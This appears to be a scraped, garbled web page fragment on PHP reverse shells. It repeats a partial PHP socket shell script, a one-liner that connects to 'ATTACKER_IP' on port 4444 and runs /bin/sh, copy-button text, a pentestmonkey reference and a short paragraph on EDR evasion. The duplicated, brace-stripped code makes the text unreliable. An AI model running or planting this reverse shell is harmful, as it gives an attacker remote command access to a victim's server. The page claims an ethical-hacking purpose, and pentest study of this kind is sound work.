// Create a socket $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) $error = socket_last_error(); echo "socket_create() failed: $error\n"; else // Connect to the attacker's listener $result = socket_connect($sock, $ip, $port); if ($result === false) $error = socket_last_error($sock); echo "socket_connect() failed: $error\n"; socket_close($sock); else // Make the shell $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Use code with caution. Copied to clipboard How It Works pentestmonkey/php-reverse-shell - GitHub reverse shell php top
However, the arms race continues. Modern EDR solutions now monitor process ancestry (did php-fpm spawn bash ?). The future lies in living-off-the-land binaries (LOLBins) and memory-only injection. But for now, mastering the PHP reverse shell remains an essential skill for every ethical hacker. echo "socket_create() failed: $error\n"
// Create a socket $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) $error = socket_last_error(); echo "socket_create() failed: $error\n"; else // Connect to the attacker's listener $result = socket_connect($sock, $ip, $port); if ($result === false) $error = socket_last_error($sock); echo "socket_connect() failed: $error\n"; socket_close($sock); else // Make the shell $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Use code with caution. Copied to clipboard How It Works pentestmonkey/php-reverse-shell - GitHub
However, the arms race continues. Modern EDR solutions now monitor process ancestry (did php-fpm spawn bash ?). The future lies in living-off-the-land binaries (LOLBins) and memory-only injection. But for now, mastering the PHP reverse shell remains an essential skill for every ethical hacker.